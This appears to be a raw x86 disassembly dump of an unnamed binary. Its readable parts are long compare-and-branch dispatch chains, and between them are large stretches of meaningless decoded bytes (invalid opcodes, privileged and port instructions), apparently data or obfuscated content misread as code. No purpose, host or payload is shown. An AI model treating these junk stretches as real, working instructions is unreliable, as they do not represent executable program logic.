mov eax, dword [ebp - 0x100]
xor eax, 0x67506
or eax, dword [ebp - 0xfc]
je 0x688695c1
mov edx, 0x67506
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6886aa81
mov eax, dword [ebp - 0x100]
xor eax, 0x63798
or eax, dword [ebp - 0xfc]
je 0x6886a021
mov edx, 0x63798
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6886aa81
mov eax, dword [ebp - 0x100]
xor eax, 0x51c8d
or eax, dword [ebp - 0xfc]
je 0x688676a1
mov edx, 0x51c8d
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x6886aa81
mov eax, dword [ebp - 0x100]
xor eax, 0xc25a
or eax, dword [ebp - 0xfc]
je 0x688661e1
mov eax, dword [ebp - 0x100]
xor eax, 0x470fd
or eax, dword [ebp - 0xfc]
jne 0x6886aa81
test dword [edi + edi*8], eax
invalid
and al, 0x45
clc
cmp byte es:[eax + edx*2], dl
mov edi, 0xba55bc3d
insb byte es:[edi], dx
fidivr dword [edi + ebp*2 + 0x75]
cwde
dec eax
wait
push ds
xor dword [ebx + 0x35185b12], ebx
pop edi
mov esi, 0xa7d6ecfb
dec edx
mov al, 0xa2
jno 0x68865776
movsb byte es:[edi], byte [esi]
mov edx, 0xc89c9242
cmp al, byte [edi - 0x2e173bbe]
not ebp
xor ah, cl
jo 0x688657f9
xor al, 0xf2
xor edx, dword [ebx]
test al, 0x3f
leave
ljmp 0xac4
add byte [ebp - 0x37], ah
in al, 0x52
pop es
cmp bl, byte [edx - 0x21ddcd0b]
movsb byte es:[edi], byte [esi]
sbb ah, ah
mov byte [ebp + 0x57], al
sub bl, bl
invalid
push ebp
add al, 0x8b
bound edx, qword [edi]
enter 0x306b, 0xffffffffffffffaa
ror cl, 0x60
retf
sti
mov cl, 0x20
loop 0x68866c3d
fbstp tbyte [edi - 0x5f]
add eax, 0xcc90d4b6
jmp 0x6886aa82
inc ecx
add byte ds:[eax], al
cmc
xchg ch, ch
or eax, 0x9caac7c4
mov byte [0xec402d14], al
adc byte [esi - 0x3cd32246], bl
dec ebp
scasd eax, dword es:[edi]
jp 0x68866c2f
cmp ch, byte [edx - 0x7e010acc]
add edi, dword [ebx]
sub al, 0xd8
jnp 0x68866c93
out dx, al
invalid
aad 0xa
retf
enter 0xffffffffffffca14, 0xffffffffffffffae
aam 0x35
push ds
add dword [0x8efd51f6], 0xf77ccd66
and bl, byte [esi - 0x13]
cmp byte [ecx], 0x1c
mov dl, byte [ecx + esi*8]
outsd dx, dword [esi]
movsd dword es:[edi], dword [esi]
int1
sub byte [ecx - 0x5f], dl
sub dh, byte [ecx]
xor al, 0x38
mov ebp, 0x3f10684
cdq
pop ss
sub eax, 0x565d18de
jns 0x68866c77
jbe 0x68866cef
push 0x629e51b3
das
ficomp dword [ebp + edi*2 + 0xa3a2cec]
mov esp, dword [edi + 0x2d]
not dword [ebp + 8]
sti
test byte ds:[ebp - 0x17], ah
mov cl, byte [edx]
jmp 0x68866d18
dec ebx
scasd eax, dword es:[edi]
enter 0xc9f, 0x42
pushal
dec edx
invalid
xchg edi, eax
invalid
out 0xb0, eax
pushfd
in al, 0x79
mov dh, 0x13
ret
adc al, 0xd5
cmpsb byte [esi], byte es:[edi]
movsd dword es:[edi], dword [esi]
retf
inc edx
push esi
dec esi
pop edx
pop es
sbb ch, al
call 0xcc5bcabe
cmp eax, edi
ret
mov esi, 0x32ef356
adc byte cs:[ebx - 0x1c125e40], ch
fld dword [edx + 0x23]
xchg ecx, eax
into
dec ebx
push ebp
scasb al, byte es:[edi]
test dword [eax + ebx*4], esp
mov byte [0xc6097664], al
daa
or dword [ebx + 0x1c38db29], 0xffffffa9
and byte [edi + 0x965f5f9], ch
scasd eax, dword es:[edi]
inc edx
sbb al, 0x55
ret
and dword [eax + 0xe5d121f], esi
mov al, 0x54
or byte [ebx], dh
dec ebx
jns 0x68869f70
aad 0x6f
invalid
test eax, 0x221fb573
in eax, 0xc7
mov cl, 0xc9
scasd eax, dword es:[edi]
lahf
sub al, 0xef
invalid
mov ch, 0x9d
or byte [esi + ecx*8 - 0x49681f8f], bl
xor al, bl
jecxz 0x68869f4d
sub edx, dword [0x17c3a9f8]
salc
fadd dword gs:[esi - 0x485ac8ec]
stc
rol bh, 1
mov esp, dword [0xedaf3a34]
sbb byte [ebx - 0x7ca450ed], ch
pop es
in eax, dx
mov edi, 0x9c561483
aad 0xc6
inc eax
push 0x65855237
ret 0x5836
adc dword [ecx], 0x29daf29c
ja 0x68869faf
or dword [eax + ecx*2 + 0x4be2c69e], edx
or al, 0x12
daa
xor ebx, ebp
xlatb
xlatb
nop
fimul word [eax - 0x2c]
adc byte [edx - 2], ch
not byte [ebp + 0x58]
fsubp st(0)
hlt
nop
jmp 0x6886aa82
nop
lea eax, [ebp - 0x1a0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xb4]
mov dword [esp], eax
call fcn.68457656
mov dword [ebp - 0x108], 0x2f30f
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x110], 0x4c603
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x104]
imul eax, dword [ebp - 0x110]
mov edx, eax
mov eax, dword [ebp - 0x10c]
imul eax, dword [ebp - 0x108]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x108]
mul dword [ebp - 0x110]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], edx
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 0x118]
xor eax, 0x1442732d
mov edx, dword [ebp - 0x114]
xor edx, 0xe
or eax, edx
je 0x688773f4
mov edx, 0x1442732d
mov eax, 0xe
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0xe1de0
or eax, dword [ebp - 0x114]
je 0x688701d7
mov edx, 0xe1de0
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0xddc36
or eax, dword [ebp - 0x114]
je 0x688754d7
mov edx, 0xddc36
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0xd634c
or eax, dword [ebp - 0x114]
je 0x68870c37
mov edx, 0xd634c
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0xd03ed
or eax, dword [ebp - 0x114]
je 0x688735b7
mov edx, 0xd03ed
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0xcac6f
or eax, dword [ebp - 0x114]
je 0x6886f777
mov edx, 0xcac6f
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0xb037e
or eax, dword [ebp - 0x114]
je 0x68871697
mov edx, 0xb037e
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0x9733a
or eax, dword [ebp - 0x114]
je 0x6886ed17
mov edx, 0x9733a
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0x934f6
or eax, dword [ebp - 0x114]
je 0x688720f7
mov edx, 0x934f6
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0x88a6f
or eax, dword [ebp - 0x114]
je 0x68874017
mov edx, 0x88a6f
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0x86424
or eax, dword [ebp - 0x114]
je 0x6886aed7
mov edx, 0x86424
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0x73db4
or eax, dword [ebp - 0x114]
je 0x6886b937
mov edx, 0x73db4
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0x73cfa
or eax, dword [ebp - 0x114]
je 0x6886d857
mov edx, 0x73cfa
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0x5028a
or eax, dword [ebp - 0x114]
je 0x68875f37
mov edx, 0x5028a
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0x4f581
or eax, dword [ebp - 0x114]
je 0x6886e2b7
mov edx, 0x4f581
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0x3ea6c
or eax, dword [ebp - 0x114]
je 0x6886c397
mov edx, 0x3ea6c
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0x3816f
or eax, dword [ebp - 0x114]
je 0x6886cdf7
mov edx, 0x3816f
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0x246b5
or eax, dword [ebp - 0x114]
je 0x68874a77
mov edx, 0x246b5
mov eax, 0
cmp edx, dword [ebp - 0x118]
sbb eax, dword [ebp - 0x114]
jl 0x688773f7
mov eax, dword [ebp - 0x118]
xor eax, 0x19ecd
or eax, dword [ebp - 0x114]
je 0x68872b57
mov eax, dword [ebp - 0x118]
xor eax, 0x2379a
or eax, dword [ebp - 0x114]
je 0x68876997
jmp 0x688773f7
les ebp, [ebx]
pop edx
mov es, esp
mov ch, byte [edi]
outsb dx, byte [esi]
dec esp
jp 0x6886aee1
xlatb
lcall 0x89f3, 0xe06ed475
sub dword [ebx + 0x2683738f], 0xffffffc8
invalid
lodsb al, byte [esi]
mov byte [0xa3f1437c], al
std
call 0x7a95a2d4
dec esi
aad 0xe2
imul ebp, dword [eax + 0x1e075f2a], 0xffffffb4
int1
mov dword [ecx + 0x65], 0x6f5b88fd
add ah, ch
imul ecx, dword [eax], 0xfffffffe
shl dword [eax + 8], cl
inc ebp
pop ebp
cmp al, 0xda
jecxz 0x6886b951
or dword [ecx + 0x4ab08b45], edx
mov al, 0xf0
lodsd eax, dword [esi]
inc ebp
mov esi, dword [eax - 0x520f4fb6]
adc al, 0x7d
cmc
cmp edi, edx
pop ebx
cmp dword [edx], eax
and ecx, eax
invalid
enter 0x25ed, 0x19
sub dword [ebx + 0x69ca6180], esp
loopne 0x6886b8e3
mov esi, 0xc4826e26
mov esp, 0xc72d9740
inc edx
dec edi
adc edx, ebp
cmp dword [eax], 0xffffffc9
mov dh, 0x8c
sbb dword [eax], ebx
insd dword es:[edi], dx
push ebp
jns 0x6886b937
ljmp 0x198c:0xb6c93883
stc
outsb dx, byte fs:[esi]
pop ecx
xchg byte [edx + eax + 0xb], dl
cmp eax, 0x31ac9bdf
insd dword es:[edi], dx
xor ecx, esp
std
and byte [ebx - 0x71], dl
dec ecx
insb byte es:[edi], dx
mov eax, 0x737aa3d2
shl ch, 1
cmp eax, 0x582af278
mov dword [0x43601f74], eax
outsd dx, dword [esi]
jmp 0x6886b911
salc
les edx, [eax]
pop esp
popfd
ret 0xf28d
pop edi
sti
jo 0x6886c327
invalid
enter 0x209c, 0xffffffffffffffc8
dec edx
mov bl, 0xab
cmp dword [edi - 0x1e], eax
insd dword es:[edi], dx
scasb al, byte es:[edi]
invalid
push edx
aam 0x95
mov al, byte [0x5b201dde]
call 0x2d9f8260
dec ebp
and al, 0xca
enter 0x3a76, 0x6c
xor al, 0x35
in eax, 0x81
pop eax
mov dword [0xcc571854], ebx
wrmsr
mov esi, 0x148e085f
inc eax
mov bl, 0xc
sahf
jno 0x6886ce1a
sub edi, dword [ecx - 0x6c]
popfd
pop esi
ljmp 0x4b9e
mov ch, 0x3c
cmp dword [esi], esi
pop ebx
jbe 0x6886cd4c
pop ebp
jo 0x6886cd79
das
test byte es:[esi], dl
mov esi, 0x4b5a7053
mov cr6, edx
mov cl, 0x45
mov esi, 0x78243010
ljmp 0x19ce
adc al, 0x26
pushfd
dec ebp
or byte [0x1a458add], al
enter 0xffffffffffff97f2, 0x5a
les ebx, [esi + 0x2d]
test bh, dh
jge 0x6886ce26
lea esi, [ebp - 0x532f1c30]
inc edi
fxtract
dec edi
push es
mov cl, ch
jo 0x6886ce7e
arpl bp, bx
sub al, 0xb8
mov al, 0xd0
in eax, dx
hlt
invalid
or al, 0x94
pop ss
jmp 0x6886cdc0
shr dword [ecx], cl
in eax, 0xd6
wait
sal dword [ebx - 0x52ac06aa], 0x2a
rol byte [ebp + 0x2d28287e], 0x1a
retf
int3
xor dword [edx - 0x32], esp
fnstsw word [ebp + 0x67]
sbb al, byte [esi - 0x6edda271]
xchg dword [ecx], edi
sub edx, ecx
nop
int3
popal
sub dword [ebp - 0x15], esi
cwde
and edx, dword [edi]
imul ecx, dword [0x4c7fa0a], 0xffffffd0
aam 0xfb
mov eax, dword [0x55b7e8c4]
test dword [ecx - 0x1f6f0bdd], 0x8121783e
rcr dword [edi - 0x3c], 0x69
out dx, al
cmp dword [ebx], ebp
lcall 0x43f5, 0xfea5947a
cmpsd dword [esi], dword es:[edi]
fstp dword [eax - 0x701d6290]
salc
out 0x26, al
push edx
or dword [edi], edx
mov dword [edi + eax*8 + 0x7677618d], ebp
sub cl, byte [edx + ebp + 0x51]
xchg ebx, eax
jge 0x6886d827
xor al, 0x40
bound esp, qword [edx]
loope 0x6886d840
mov ah, 0x3b
invalid
adc cl, bh
mov eax, dword [0x7cb3fdae]
in eax, dx
stosb byte es:[edi], al
xor al, 0x2b
xchg ebp, eax
or al, 0x47
fisttp word [ecx]
salc
pop edi
sbb ebp, dword [esi + eax]
pop ss
sal edi, 0xf1
mov dword [eax + edx*2 - 0x29c1ce3d], esp
invalid
or al, byte [ecx + ebp*4 - 0x13]
pop edx
xlatb
add al, 0xb4
pop ebx
fimul word [esi - 0x5e]
imul ebp, dword [ebp + edx*4 - 0x1e7dd83e], 0xe9a93cc2
sub ebp, dword [esi + 0x39]
test eax, 0x396e2be9
xor edx, 0xfffffff3
insb byte es:[edi], dx
ja 0x6886e2cc
jp 0x6886e273
aaa
sub dword [ecx*2 + 0x412dd272], ebx
mov ebp, 0xae02809
xor byte [ebp + 0x5f], cl
mov edi, 0x34dae75f
mov es, edx
sar dword [esi - 0x50], 1
fst qword [ebx + edi*8]
retf 0xe7c4
cmpsd dword [esi], dword es:[edi]
lcall 0x1829, 0x2db1adb5
insd dword es:[edi], dx
ja 0x6886ed1e
sbb byte [ebp + 0x77], ch
cld
cwde
mov dword [0xc098], eax
sar byte [edx + 0x6c3aee97], cl
xchg dword [eax + 5], ebx
xor edx, eax
sub esp, dword [esi]
int 0xed
insb byte es:[edi], dx
push ebx
push esp
fcmovb st(0), st(5)
pop ecx
sar dword [ebx + 0x36], 1
invalid
cmpsb byte [esi], byte es:[edi]
xchg edx, eax
ljmp 0x44ba
std
mov ebp, 0xeb532938
aad 0x80
dec esp
popfd
xlatb
mov ecx, 0x115ee449
and byte [edx], bh
mov esp, 0x4e35c20a
adc byte [edi + 0x3b20237f], al
in al, dx
sub al, 0x8c
mov esp, 0xf7ee797f
popal
and ebp, dword [edx - 0x6b]
ret
cdq
movsd dword es:[edi], dword [esi]
rcl byte [edi - 0x32]
in al, 2
add dword [eax], edx
push 0x58
sahf
movsb byte es:[edi], byte [esi]
mov byte [0xd51aedad], al
push ss
mov edx, 0x3e2db2b4
xor al, 0x23
xor esp, edx
push ebp
push cs
in eax, dx
jl 0x68870c6c
mov al, 6
insb byte es:[edi], dx
daa
insd dword es:[edi], dx
adc dword [ebx + 0x17fa1178], 0xa4d842b2
test byte [ebx], ah
pop es
and bh, cl
mov eax, 0xf9003d25
mov cl, bh
push ebx
fst dword [eax - 0x65]
imul esi, ebp, 0xffffffe2
enter 0xfffffffffffffc10, 7
leave
and eax, dword [eax - 0x48]
test al, dh
sbb cl, byte [esi - 0x416cc350]
int3
jle 0x68871710
enter 0x4446, 0xffffffffffffffe3
jns 0x688716d7
inc edx
mov eax, dword [0x774f8ee8]
aaa
iretd
fcmovnbe st(0), st(1)
and eax, ebp
sub dword [esi - 0x16], 0x35ca47d
hlt
and dword [edx], edi
into
mov esi, dword [ebx + 0x6885aa72]
adc dword [ebx], esi
int3
push es
fsubr dword [0x4ec6eef3]
xor byte [esi], bl
cmp byte [ecx], al
xchg dword [eax + 0x33], esp
add bh, byte [esi + 0x25]
adc dword [ecx], esp
sub bl, byte [eax + 0x48a6b52b]
cwde
sbb al, 0xbf
dec ebx
invalid
cmc
and bl, byte [esi + 0x25a3e95b]
and al, byte [eax - 0x499a8b9b]
add dword [ecx - 0x40ef6951], 0xa3b52575
and byte [eax - 0x730e071a], 0xeb
jg 0x68872b64
adc bh, dh
dec esp
sbb byte [edx + 0x22de69e2], dl
fild word [esi + 0x6eede5c0]
ret
mov ebp, 0x35b47a98
sub eax, 0xe5d1c2e2
sal byte [edi + 0x662845da], cl
leave
mov al, byte [0xd1d08f3e]
arpl word [ebp - 0x24], si
mov byte [edx - 0x375e04f4], cl
ret
enter 0xffffffffffffc8d3, 0x65
into
ror eax, cl
into
mov eax, dword [0x6e6cd387]
out dx, eax
cmpsd dword [esi], dword es:[edi]
xchg ebx, eax
push 0x9bd0b3e9
je 0x68873609
xchg edi, eax
jne 0x68873574
or edi, dword [ebp - 0x60]
inc eax
cmp byte [eax + 0x3906899e], ch
cmp ecx, ebp
cmp al, 0xd9
xlatb
xchg ecx, eax
jmp 0x6c9fbf1f
mov edi, dword [edx - 0x6794655a]
jo 0x6887366c
xor ebp, dword [edi + 0xd]
inc edi
imul eax, ebx, 0xffffff8d
jno 0x6887367b
fdivrp st(3)
js 0x688735b8
popal
xor edi, 0x6f5971aa
pop esp
and ch, byte [ecx - 0x13]
adc ebp, dword [eax - 0x1789922]
mov byte [esi*8 + 0x6ec4eb53], bh
add esp, esi
movsd dword es:[edi], dword [esi]
jmp 0x688736b3
jne 0x6887369a
adc esi, dword [esi]
mov edx, 0x63f532f1
wait
test byte [eax + 0x1f], bl
or bl, byte [edx + 0x777f56bc]
mov dl, 0xf1
mov esp, 0xb2777f56
int1
fldpi
ljmp 0x8111
and edx, dword [edx]
xchg esi, eax
bound ebp, qword [edi + 0x25]
test eax, 0x49ae5071
and dword [eax - 0x56fec034], edx
push 0x1e
mov eax, 0xa80b9540
nop
xchg ebx, eax
xor bh, dh
pushal
push 0xc2b725ed
fnsave dword [esi - 0x232f0be0]
add al, 0xcc
clc
arpl word [ebx + eax*8 + 0x1f], ax
xor eax, dword [edi]
mov al, 0x1b
push ss
inc ebp
mov ebx, 0x2d5b8724
and dword [esi], esp
out 0x48, al
xlatb
cmp dl, byte [edi]
inc edi
movsb byte es:[edi], byte [esi]
mov bl, 1
adc eax, 0xa44fdb56
add eax, 0x19f5cc42
outsd dx, dword [esi]
jmp 0x68873680
adc dh, byte [esi - 0x3e]
push es
mov ebp, dword [esp + ecx*2]
add cl, byte [bx + di + 0x1c]
das
add ah, cl
mov eax, dword [0xdfe6f8e2]
mov dword [0xd835ab60], eax
test dword [esp + ebp + 0x6c], 0x981fe814
jp 0x6887402e
enter 0xfffffffffffffad6, 0xffffffffffffffd6
cmp al, dl
cmc
inc ebx
mov esp, 0x9bab95c9
int 0xb4
xor dword [0x805c3ea7], edi
mov esp, 0x8e24ec90
fist word [ebx + 0x4b]
dec eax
push ebp
imul eax, esp, 0xcca504f7
inc ecx
out 0x57, al
dec eax
xchg ebp, eax
push ebp
invalid
cwde
xor al, byte [eax + 0x5a60edf6]
jbe 0x68873fb1
outsb dx, byte [esi]
aad 0x66
mov esp, 0x29df3f53
mov eax, 0x110debad
sub dword [eax + 0x110debad], edi
sbb al, 0x73
div dword [edi]
jae 0x68874027
aaa
imul esp, dword [edi - 0x6d], 0x18
mov ebx, 0x55e97082
dec esp
lodsd eax, dword [esi]
lcall 0x1287, 0x32720323
push ecx
dec ebx
sbb dword [edi - 0x6204feb5], esp
fcomp dword [edi]
mov bh, 0x88
cld
sub al, 0x7d
into
pop ebp
mov bl, 0xc1
or edx, dword [ebp - 0x56458b25]
invalid
outsb dx, byte [esi]
sbb byte [ebp - 0x4dc11112], dh
fadd qword [ebx]
stc
mov dl, 0xdc
add edi, ecx
jecxz 0x68874a7d
xchg ecx, eax
test edx, 0x7ac31ace
lcall 0xfec3, 0xfe455fc6
cmp byte [ecx], ah
out 0x6a, al
jl 0x68874a88
ret
js 0x68874ab4
cmp esi, dword [ebp + 0x6c]
inc ebp
mov al, byte [0xfe972134]
adc byte [edx + 0x570224de], dh
std
adc dword [0x1b65f75f], ebp
push ss
mov esi, dr7
inc esp
invalid
mov eax, dword [0x96085209]
xchg esp, eax
in al, 0xd6
adc bh, dh
int1
or ch, ch
das
iretd
or eax, 0xfcb806f5
push ebx
insb byte es:[edi], dx
mov ecx, 0xf0462cd7
sti
arpl word [eax], dx
mov eax, 0xcf168fe6
xchg edx, eax
cmpsb byte [esi], byte es:[edi]
jbe 0x68875f3d
jg 0x68875fad
mov eax, 0xc8f01af7
xor al, 1
sub al, 0xa9
jns 0x68875f97
or bh, cl
sbb byte [eax], bl
insd dword es:[edi], dx
invalid
adc al, 0xfe
imul dword [ecx]
nop
in al, 0xdb
mov edx, 0x3694a4cb
out dx, al
clc
mov bl, 0x3e
invalid
repz ret
cmp al, 0xe8
test byte [esi], al
push ebp
in al, 0x77
inc ebp
leave
mov ebx, 0x705437dd
fadd qword [edx - 0x71d149d0]
movsb byte es:[edi], byte [esi]
retf 0x1bac
and ch, byte [ebx + 0x62]
and al, 0x45
int1
pushal
sub dword [edx - 0x40], esp
loop 0x6887694e
cmc
wait
add al, 0x29
jmp 0x2f1db131
nop
jmp 0x688773f8
nop
mov eax, 1
jmp 0x688a4e06
mov dword [ebp - 0x88], 0x3ef01
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x90], 0x511a3
mov dword [ebp - 0x8c], 0
mov eax, dword [ebp - 0x90]
mov edx, dword [ebp - 0x8c]
sub eax, dword [ebp - 0x88]
sbb edx, dword [ebp - 0x84]
mov dword [ebp - 0x98], eax
mov dword [ebp - 0x94], edx
mov eax, dword [ebp - 0x98]
xor eax, 0xeca0a
or eax, dword [ebp - 0x94]
je 0x6887f530
mov edx, 0xeca0a
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0xe8956
or eax, dword [ebp - 0x94]
je 0x68884830
mov edx, 0xe8956
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0xe69a4
or eax, dword [ebp - 0x94]
je 0x68878310
mov edx, 0xe69a4
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0xe09ec
or eax, dword [ebp - 0x94]
je 0x6887ff90
mov edx, 0xe09ec
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0xd7065
or eax, dword [ebp - 0x94]
je 0x6887a230
mov edx, 0xd7065
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0xc2ff1
or eax, dword [ebp - 0x94]
je 0x688809f0
mov edx, 0xc2ff1
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0xa4dbc
or eax, dword [ebp - 0x94]
je 0x6887ac90
mov edx, 0xa4dbc
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0x9fd73
or eax, dword [ebp - 0x94]
je 0x6887c150
mov edx, 0x9fd73
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0x9ba8b
or eax, dword [ebp - 0x94]
je 0x68878d70
mov edx, 0x9ba8b
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0x96a45
or eax, dword [ebp - 0x94]
je 0x6887b6f0
mov edx, 0x96a45
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0x931f0
or eax, dword [ebp - 0x94]
je 0x688778b0
mov edx, 0x931f0
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0x91396
or eax, dword [ebp - 0x94]
je 0x68881eb0
mov edx, 0x91396
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0x7c6b4
or eax, dword [ebp - 0x94]
je 0x6887e070
mov edx, 0x7c6b4
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0x6f4e5
or eax, dword [ebp - 0x94]
je 0x688797d0
mov edx, 0x6f4e5
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0x6c7b3
or eax, dword [ebp - 0x94]
je 0x6887ead0
mov edx, 0x6c7b3
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0x65105
or eax, dword [ebp - 0x94]
je 0x6887d610
mov edx, 0x65105
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0x64e4d
or eax, dword [ebp - 0x94]
je 0x68883370
mov edx, 0x64e4d
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0x2ba1e
or eax, dword [ebp - 0x94]
je 0x6887cbb0
mov edx, 0x2ba1e
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0x1eb39
or eax, dword [ebp - 0x94]
je 0x68881450
mov edx, 0x1eb39
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0x15ace
or eax, dword [ebp - 0x94]
je 0x68882910
mov edx, 0x15ace
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0x122a2
or eax, dword [ebp - 0x94]
je 0x68885cf0
mov edx, 0x122a2
mov eax, 0
cmp edx, dword [ebp - 0x98]
sbb eax, dword [ebp - 0x94]
jl 0x68885ced
mov eax, dword [ebp - 0x98]
xor eax, 0x3cbc
or eax, dword [ebp - 0x94]
je 0x68883dd0
mov eax, dword [ebp - 0x98]
xor eax, 0x70fc
or eax, dword [ebp - 0x94]
je 0x68885290
jmp 0x68885ced
lcall 0x32df, 0xde148853
hlt
inc edx
popal
fild qword [edx + ebp + 0x20281a7b]
add ch, bh
jg 0x688782d8
fsubr st(7), st(0)
inc esi
imul eax, dword [ecx], 0xedc9c48b
pushfd
cmp al, 0xcd
invalid
cmp al, 1
jmp 0x68878319
add eax, 0x501e0683
jne 0x688782f0
salc
mov ch, 0xdd
jge 0x68878368
jnp 0x688782e4
retf
mov dword [0x77b477d1], eax
in eax, 0x5e
mov bh, 0x65
fadd qword [eax]
popfd
dec esi
and al, 0x36
cmp eax, dword [edi + 0x7709dc65]
jl 0x68878313
nop
push ss
test byte [ecx + 0x6b], bl
movsd dword es:[edi], dword [esi]
pop esp
pop ebx
into
wait
movsd dword es:[edi], dword [esi]
sbb byte [ecx], ah
ret
cwde
cmp al, 0x3d
into
loope 0x68878363
cmp bl, cl
loop 0x6887837b
push eax
push esi
or byte [ecx + ecx*4 - 0x23], cl
pavgw mm6, qword [edx - 0x552f350a]
push 0x209e7ec1
insd dword es:[edi], dx
inc ebx
adc byte [edi], dh
scasd eax, dword es:[edi]
jl 0x68878334
packsswb mm7, mm2
ljmp 0x71f2
mov edi, 0xf34c5222
pop esp
